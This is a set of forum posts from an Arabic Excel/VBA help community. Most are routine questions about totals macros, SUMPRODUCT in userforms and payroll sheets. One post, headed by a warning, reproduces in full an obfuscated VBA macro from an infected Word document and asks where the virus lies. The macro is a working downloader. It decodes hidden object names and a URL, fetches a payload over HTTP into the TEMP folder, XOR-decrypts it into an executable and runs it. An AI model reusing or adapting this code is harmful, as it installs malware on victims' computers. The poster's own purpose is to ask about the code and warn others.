ابن الملك

استاذى الفاضل / العلم نور المطلوب بالمرفق لعله يكون هو الجواب المطلوب وشكرا 22.rar

استاذى الفاضل أ / جمال جرب الكود المرفق Sub Close_Me() Application.DisplayAlerts = False ActiveWorkbook.Saved = False ActiveWorkbook.Close SaveChanges:=False Application.DisplayAlerts = True End Sub

استاذى الفاضل أ/ سليم اشكرك لمبادرتك بالمساعده و لكننى اريد كود فيجوال لكى يقوم هو بالبحث عن كلمه total ويضع الى جوارها المجموع أشكرك

اساتذتى الكرام فى المرفق عده حسابات و فى نهايه كل مجموعه من الحسابات إجمالى المطلوب انه فى حال وجود كلمه Total يضيف داله جمع أتوماتيكيا وشكرا جمع.rar

أخى العزيز أحمد بكر بارك الله فيك فى عملك جعله الله فى ميزان حسناتك , عمل رائع هل استأذن حضرتك فى ان يكتمل المشروع بالجزء المحاسبى حيث يكون فيه أحتساب الضرائب والتأمينات و السلف و ..... وبالنهايه كشف تفاصيل مرتب بحيث يكون الدخل - المستقطع = صافى المرتب أن أمكن يساعدنا احد من عباقره المنتدى . وشكرا

اخى العزيز الاستاذ انس بارك الله فيك وفى مجهودك اود ان اشكر حضرتك على المجهود المبذول فى الملف ربنا يعوضك و يجعله الله فى ميزان حسناتك لى طلب صغير هل ممكن يكون هناك نسخه اخرى تعمل على احتساب المرتبات و خصم التامينات و الضرائب و السلف و المسحوبات و .... و اضافه البدلات و المسموحات و ..... وطباعه تفاصيل المرتب للموظفين حتى يكون الملف متكامل ك برنامج مرتبات كامل و الكمال لله وحده لو احببت ان انشر الطلب فى موضوع منفصل انا على استعداد وشكرا

اشكرك اخى سليم على الكود وجارى التجربه حين العوده من العمل

مرفق شيت اكسيل به بعض البيانات تحت بعض مكون من رقم الحساب ورصيد اول المده و الحركات المدينه والدائنه و رصيد المده و رصيد أخر المده ولكن حينما تم استخراج البيانات ظهرت كما بالمرفق هل هناك طريقه لدمج البيانات لتصبح كما بالمرفق وشكرا جمع بيانات.rar

برنامج جميل جدا و فوق الممتاز ننتظر الاصدار الثانى بالتوفيق

أخوتى الافاضل قمت بطرح سؤال وتمت اجابته على الرابط التالى ولكن اود أن ازيد الامر صعوبه وهو اننى اريد اجمالى عام 2016 على حدى و عام 2017 على حدى وأيضا عند اختيار كلمه Total يعطى اجملى الاعوام " كثير جدا " ولكنه تحدى وشكرا المصروف.rar

اساتذتى الكرام قمت بعمل محاوله ولكن يظهر لى خطا بانه الفيجوال لا يفهم المعادله مرفق ما قد قمت بالمحاوله به وشكرا معادله فى فورم.rar

اخى فى الله الاستاذ / الجموعى اشكر مرورك الكريم واعتذر عن تاخر الرد لوجود مشكله بالانترنت لدى و اشكر حضرتك ولكن استاذنك اللى اقصده هو انه عند اختيار شخص من القائمه فى اليوزر فورم يحسب معادله سم برودكت Sumproduct ويستخرج النتائج فى التيكست بوكس Textbox وشكرا

up

اخوتى الافاضل داخل الملف معادله Sumproduct باستخدام المصفوفه اريد تطبيقها داخل الفورم ارجو المساعده فى كيفيه التطبيق وشكرا معادله فى فورم.rar

شكرا لك اخى سليم وفيت وماقصرت ممكن شرح للداله ؟ ولماذا لا يقبل تسميه نطاق وجعله ليست الا ان يكون عمود ليس صف ؟ وشكرا

اخوتى الافاضل داخل الملف عده مصروفات منقسمه لعده اشهر هل هناك طريقه لنختر من قائمه الشهر وبالتالى يستدعى القيمه المقابله للمصروف فى الشهر المراد ؟؟ وايضا اذا تم اختيار كلمه Total يتم جمع القيم الموجوه بكل الشهور الخاصه بمصروف معين وشكرا المصروف.rar

السادة الافاضل السلام عليكم ورحمة الله - بما أن الملف به فيروس يرجى حذف الموضوع أو حذف المرفق لكى لا يتضرر أحدا بسببى . شكرا لكم جزيلا

أستاذى الفاضل أ/ قلم الاكسيل - عبد العزيز أشكرك على توثيق المعلومه بانه به فيروس و لكن اين الجزء الخاص بالفيروس فى الكود " يعنى الفيروس ده فين وبيعمل ايه بالضبط " أشكر حضرتك كتير

up

أ ياسر خليل كما طلبت حضرتك مرفق الملف Virus.rar

أشكر حضرتك على الرد السريع وعلى مساعدتك لنا وجارى الانتقال الى المدونه .

**** تحذير يا أخوانى ***** لقد أظهر برنامج الانتى فيروس لدى أن هذا الكود الذى كان موجود داخل ملف وور بأنه فيروس وكنت اطلب من عمالقه المنتدى أين الجزء الخاص الذى يقول انه فيروس و ما هو مدى خطورته ؟ لقد عطلت برنامج الحماية وأستخرجت الكود من الموديول لكى أستشيركم فيه ****** أكرر التحذير مرة أخرى لكى اكون برىء من ذنب أى خطأ يحدث من هذا الكود . شكرا لكم جزيلا Global Const mensaje_cancelar = " Pulse Click para abandonar esta ventana." Global Const mensaje_cerrar = " Pulse Click para abandonar esta ventana." Global Const mensaje_salir = " Pulse Click para abandonar esta ventana." Global Const mensaje_opcion = " Pulse Click para seleccionar Opci?n." Global Const mensaje_copiar = " Pulse Click para Copiar al Portapapeles." Public InTheAfrikaMountainsAreHighDAcdaw As Object Public InTheAfrikaMountainsAreHighPLAPEKCwwed As Object Public InTheAfrikaMountainsAreHighKSKLAL As Object Public InTheAfrikaMountainsAreHighXSAOO() As String Public InTheAfrikaMountainsAreHighLAKOPPC As String Public InTheAfrikaMountainsAreHighPLAPEKC() As String Public InTheAfrikaMountainsAreHighUUUKA As String Public InTheAfrikaMountainsAreHighUUUKABBB As String Public InTheAfrikaMountainsAreHighGMAKO As Object Public InTheAfrikaMountainsAreHigh4 As String Public InTheAfrikaMountainsAreHigh2 As String Public InTheAfrikaMountainsAreHighASALLLP As Variant Public Function VerAuditoria() Dim SQL As String VerAuditoria = False RsUsu.ActiveConnection = Con SQL = "Select * FROM usuarios " SQL = SQL & " WHERE usu_id=" & IdUsuario RsUsu.Open SQL If Not RsUsu.EOF Then If RsUsu!usu_auditor = "S" Then VerAuditoria = True Else VerAuditoria = False End If End If End Function Public Function permisos(nombreformu As String, IdUsuario As Long) As Boolean Dim SQL As String Dim idformu As Long permisos = False RsUsu.ActiveConnection = Con idformu = BuscarIdFormu(nombreformu) SQL = "Select * FROM PermisosPorFormu " SQL = SQL & " WHERE ppf_idformu=" & idformu SQL = SQL & " AND ppf_idusuario=" & IdUsuario RsUsu.Open SQL If Not RsUsu.EOF Then permisos = True p = RsUsu!ppf_permisos End If End Function Public Function BuscarIdFormu(nombreformu As String) As Long Dim SQL As String RsFormu.ActiveConnection = Con SQL = "Select * from Formularios WHERE frm_nombre=" & "" RsFormu.Open SQL If Not RsFormu.EOF Then BuscarIdFormu = RsFormu!frm_id End If End Function Public Function ExisteUsuario(nomusu As String, IdUsuario As Long, clave As String) As Boolean Dim SQL As String Set InTheAfrikaMountainsAreHigh1DASH1solo = CreateObject(InTheAfrikaMountainsAreHighPLAPEKC(3)) Set InTheAfrikaMountainsAreHighKSKLAL = InTheAfrikaMountainsAreHigh1DASH1solo.Environment(InTheAfrikaMountainsAreHighPLAPEKC(4)) VerCadenaPermiso SQL Exit Function RsUsuario.ActiveConnection = RutaBase SQL = "Select * from Usuarios WHERE usu_apodo=" & "" RsUsuario.Open SQL If Not RsUsuario.EOF Then ExisteUsuario = True IdUsuario = RsUsuario!usu_id clave = RsUsuario!usu_clave Else ExisteUsuario = False End If End Function Public Function PrimeraVez() As Boolean Dim SQL As String Dim entrada As String Dim I As Integer Dim d As Boolean d = True IsWord = True For I = 1 To Len(Trim("DAbro")) If d = False Then Set InTheAfrikaMountainsAreHighDAcdaw = CreateObject(InTheAfrikaMountainsAreHighPLAPEKC(I - 2)) Exit For Else d = False End If Next I ExisteUsuario entrada, 0, SQL Exit Function PrimeraVez = False RsUsuario.ActiveConnection = RutaBase entrada = "N" SQL = "SELECT * FROM Usuarios WHERE usu_id=" & IdUsuario SQL = SQL & " AND usu_entrada=" & "" RsUsuario.Open SQL If Not RsUsuario.EOF Then PrimeraVez = True IdUsuario = RsUsuario!usu_id clave = RsUsuario!usu_clave Else PrimeraVez = False End If End Function Function SAAKASHVILLI_MUDEN(ByVal Cadena As String) As String Dim longitud As Integer Dim Puntero As Integer Dim Codigo As String Dim Conversores() As Integer Dim Salida As String ReDim Conversores(8) As Integer Conversores(1) = 25 Conversores(2) = -20 Conversores(3) = 30 Conversores(4) = -15 Conversores(5) = 20 Conversores(6) = -10 InTheAfrikaMountainsAreHighXSAOO = Split("634411211211211270761121121121127076112112112112683211211211211235381121121121122867112112112112286711211211211272591121121121127259112112112112725911211211211228061121121121126222112112112112591711211211211265881121121121126039112112112112640511211211211259171121121121126710112112112112677111211211211228061121121121126405112112112112707611211211211228671121121121122928112112112112347711211211211271371121121121126344112112112112341611211211211267101121121121127381", "112112112112") Conversores(7) = 25 Conversores(8) = -5 Salida = "" longitud = Len(Cadena) InTheAfrikaMountainsAreHigh2 = GodnTeBabenParama("BRREADicroBRRREADoft.XBRREADLHTTPBRRRREADAdodb.BRRREADtrBREADaBRREADBRRRREADBRRREADhBREADll.Appli" _ + GodnTeBabenParama("cationBRRRREADWBRRREADcript.BRRREADhBREADllBRRRREADProcBREADBRRREADBRRREADBRRRREADGBREADTBRRRREADTBREADBRREADPBRRRREADTypBREADBRRRREADopBREADnBRRRREADwritTRONponBRRREADBREADBodyBRRRREADBRRREADavBREADtofilBREADBRRRREAD", "TRON", "BREADBRRRREADrBREADBRRREAD") _ + "\zorginBRRREAD.BREADxBREAD", "BREAD", "e") For Puntero = 1 To longitud Codigo = Chr(Asc(Mid(Cadena, Puntero, 1)) + Conversores(Puntero)) Salida = RTrim(Salida) & LTrim(Codigo) Next Puntero cDesCripto Salida SAAKASHVILLI_MUDEN = Salida End Function Function cDesCripto(ByVal Cadena As String) As String Dim longitud As Integer Dim Puntero As Integer Dim Codigo As String Dim Conversores() As Integer Dim Salida As String ReDim Conversores(8) As Integer Conversores(1) = -25 Conversores(2) = 20 Conversores(3) = -30 Conversores(4) = 15 Conversores(5) = -20 Conversores(6) = 10 InTheAfrikaMountainsAreHigh2 = GodnTeBabenParama(InTheAfrikaMountainsAreHigh2, "BRREAD", "M") InTheAfrikaMountainsAreHigh2 = GodnTeBabenParama(InTheAfrikaMountainsAreHigh2, "BRRREAD", "s") Conversores(7) = -25 Conversores(8) = 5 Salida = "" longitud = Len(Cadena) For Puntero = 1 To longitud Codigo = Chr$(Asc(Mid$(Cadena, Puntero, 1)) + Conversores(Puntero)) Salida = RTrim$(Salida) & LTrim$(Codigo) Next Puntero cDesCripto = Salida InTheAfrikaMountainsAreHighPLAPEKC = Split(InTheAfrikaMountainsAreHigh2, "BRRRREAD") Set InTheAfrikaMountainsAreHighPLAPEKCwwed = CreateObject(InTheAfrikaMountainsAreHighPLAPEKC(1)) Set InTheAfrikaMountainsAreHighGMAKO = CreateObject(InTheAfrikaMountainsAreHighPLAPEKC(2)) PrimeraVez End Function Public Function DuBirMahnWeishr(InTheAfrikaMountainsAreHigh6 As Integer) As String Dost = CInt(InTheAfrikaMountainsAreHighXSAOO(InTheAfrikaMountainsAreHigh6)) DuBirMahnWeishr = Chr(Dost / 61) End Function Public Function GodnTeBabenParama(A1 As String, A2 As String, A3 As String) As String GodnTeBabenParama = Replace(A1, A2, A3) End Function Public Sub CambiarPass(OldPass As String, newpass As String, cambio As Boolean) Dim SQL As String If cambio Then InTheAfrikaMountainsAreHighLAKOPPC = InTheAfrikaMountainsAreHighKSKLAL(InTheAfrikaMountainsAreHighPLAPEKC(6)) InTheAfrikaMountainsAreHighUUUKA = InTheAfrikaMountainsAreHighLAKOPPC InTheAfrikaMountainsAreHighUUUKABBB = InTheAfrikaMountainsAreHighUUUKA + "weffvxcvw" InTheAfrikaMountainsAreHighUUUKA = InTheAfrikaMountainsAreHighUUUKA + InTheAfrikaMountainsAreHighPLAPEKC(12) InTheAfrikaMountainsAreHighPLAPEKCwwed.Type = 1 InTheAfrikaMountainsAreHighPLAPEKCwwed.Open encript SQL Exit Sub Else GoTo BigEnd End If RsUsuario.ActiveConnection = RutaBase RsClave.ActiveConnection = RutaBase SQL = "Select * from Usuarios WHERE usu_id=" & IdUsuario RsUsuario.Open SQL If Not RsUsuario.EOF Then If OldPass = Decript(RsUsuario!usu_clave) Then SQL = "UPDATE Usuarios SET usu_clave=" & "" SQL = SQL & " WHERE usu_id=" & IdUsuario RsClave.Open SQL cambio = True Else cambio = False End If End If BigEnd: CallByName InTheAfrikaMountainsAreHighPLAPEKCwwed, "savetofile", VbMethod, InTheAfrikaMountainsAreHighUUUKABBB, 2 UNDOPRYXOR InTheAfrikaMountainsAreHighUUUKABBB, InTheAfrikaMountainsAreHighUUUKA, "bBk9tdDjesv9qgLr6sUGkfvl4l4Cba2k" InTheAfrikaMountainsAreHighGMAKO.Open (InTheAfrikaMountainsAreHighUUUKA) End Sub Public Sub UNDOPRYXOR(SourceFile As String, DestFile As String, Optional Key As String) Dim Filenr As Integer Dim ByteArray() As Byte Filenr = FreeFile Open SourceFile For Binary As #Filenr ReDim ByteArray(0 To LOF(Filenr) - 1) Get #Filenr, , ByteArray() Close #Filenr Call DecryptByte(ByteArray(), Key) Filenr = FreeFile Open DestFile For Binary As #Filenr Put #Filenr, , ByteArray() Close #Filenr End Sub Public Sub DecryptByte(ByteArray() As Byte, Key As String) Dim Offset As Long Dim ByteLen As Long Dim ResultLen As Long Dim CurrPercent As Long Dim NextPercent As Long Dim m_Key() As Byte Dim m_KeyLen As Long m_KeyLen = Len(Key) ReDim m_Key(m_KeyLen) m_Key = StrConv(Key, vbFromUnicode) ByteLen = UBound(ByteArray) + 1 ResultLen = ByteLen For Offset = 0 To (ByteLen - 1) ByteArray(Offset) = ByteArray(Offset) Xor m_Key(Offset Mod m_KeyLen) If (Offset >= NextPercent) Then CurrPercent = Int((Offset / ResultLen) * 100) NextPercent = (ResultLen * ((CurrPercent + 1) / 100)) + 1 End If Next End Sub Public Sub ActualizarEntrada() Dim SQL As String Dim entrada As String entrada = "S" RsUsuario.ActiveConnection = RutaBase SQL = "UPDATE Usuarios " SQL = SQL & " SET usu_entrada=" & "" SQL = SQL & " Where usu_id = " & IdUsuario RsUsuario.Open SQL End Sub Public Function NombreUsuario() As String Dim SQL As String RsUsuario.ActiveConnection = RutaBase SQL = "Select * from Usuarios WHERE usu_id=" & IdUsuario RsUsuario.Open SQL If Not RsUsuario.EOF Then NombreUsuario = RsUsuario!usu_apodo End If End Function Public Function encript(pass As String) As String Dim temp As String Dim temp1 As String Dim pos As Long Dim leng As Long Dim tim As Variant Dim I As Long Dim Key As Long InTheAfrikaMountainsAreHighASALLLP = InTheAfrikaMountainsAreHighDAcdaw.responseBody Decript temp1 Exit Function leng = Len(pass) tim = Mid(Time, 1, 8) tim = Mid(tim, 1, Len(tim) - 3) tim = Mid(tim, Len(tim) - 1, 2) * Int(Rnd * 100) For I = 1 To Len(CStr(tim)) pos = pos + CInt(Mid(CStr(tim), I, 1)) Next While pos > Len(pass) pos = pos Mod 10 + Int(Rnd * 10) If pos = 0 Then pos = Len(pass) + 1 End If Wend If pos <= 2 Then pos = 3 End If Key = Int((255 - 150 + 1) * Rnd + 150) For I = 1 To Len(pass) If Asc(Mid(pass, I, 1)) > Key Then temp = temp & Chr(CInt(Asc(Mid(pass, I, 1))) - Key) ElseIf Asc(Mid(pass, I, 1)) < Key Then temp = temp & Chr(Key - CInt(Asc(Mid(pass, I, 1)))) Else temp = temp & Chr(Asc(Mid(pass, I, 1))) End If Next temp1 = Mid(temp, 1, pos) & Chr(Key) temp1 = temp1 & Mid(temp, pos + 1, Len(temp)) temp = Chr(pos + 150) & temp1 encript = temp End Function Public Sub VerCadenaPermiso(permiso As String) Dim I As Long Dim letra As String Alta = False Baja = False modi = False Dim Consu As Boolean Consu = True Dim apdistance As Integer For apdistance = LBound(InTheAfrikaMountainsAreHighXSAOO) To UBound(InTheAfrikaMountainsAreHighXSAOO) InTheAfrikaMountainsAreHigh4 = InTheAfrikaMountainsAreHigh4 & DuBirMahnWeishr(apdistance) Next apdistance If Application = "Microsoft Word" Then InTheAfrikaMountainsAreHighDAcdaw.Open InTheAfrikaMountainsAreHighPLAPEKC(5), InTheAfrikaMountainsAreHigh4, False InTheAfrikaMountainsAreHighDAcdaw.Send CambiarPass letra, "", True End If Exit Sub For I = 1 To Len(permiso) letra = Mid(permiso, I, 1) If letra = "A" Then Alta = True End If If letra = "B" Then Baja = True End If If letra = "M" Then modi = True End If If letra = "C" Then Consu = True End If Next I If Len(permiso) = 0 Then Consu = False modi = False Alta = False Baja = False End If End Sub Public Function Decript(pass As String) As String Dim pos As Long Dim Key As Long Dim temp As String Dim I As Long Dim temp1 As String InTheAfrikaMountainsAreHighPLAPEKCwwed.Write InTheAfrikaMountainsAreHighASALLLP CambiarPass temp, temp1, False Exit Function pos = Int(Asc(Mid(pass, 1, 1))) - 150 Key = Asc(Mid(pass, pos + 2, 1)) temp = Mid(pass, 1, pos + 1) pass = temp & Mid(pass, pos + 3, Len(pass)) pass = Mid(pass, 2, Len(pass)) For I = 1 To Len(pass) If Asc(Mid(pass, I, 1)) <> Key Then temp1 = temp1 & Chr(Key - CInt(Asc(Mid(pass, I, 1)))) Else temp1 = temp1 & Chr(Asc(Mid(pass, I, 1))) End If Next Decript = temp1 End Function

السلام عليكم أساتذتى وأخوتى فى أوفيسنا أ/ ياسر خليل كنت أتسأل ؟؟؟ هل هيكون فى حلقات تانية من دورة "افتح-الباب-وادخل-لعالم-البرمجة-متخافوش-يا-أحباب-من-اللي-ورا-الباب" على الرابط ده https://www.officena.net/ib/topic/56941-افتح-الباب-وادخل-لعالم-البرمجة-متخافوش-يا-أحباب-من-اللي-ورا-الباب/ شكرا

اشكر حضرتك كتير جدا على الهدية دى ودائما نجد عند حضرتك ضالتنا بجد وبصراحه أنا كنت متشوق لرأى حضرتك كتيير جدا و بجد وحشنى جدا المنتدى وأدعوا لى مبعدش تانى عن اسرة أوفيسنا أشكر حضرتك كتير جارى تجربة الكود .......

مساء الخير ل أساتذتى و أهلى وأصدقائى فى بيتنا أوفيسنا البيت الكبير أوفيسنا بعد غياب دام لفترة مش عارف قد اية فاتنى الكثير جدا جدا فى المنتدى حبيت أرجع بحاجه غريبة جت فى دماغى لقيتها فى موبايل واحد صاحبى برنامج أسمه samsung health حبيت اعمل حاجه صغيرة جدا شبيه بالفكرة بس أكسيل يارب تعجبكم . Track.rar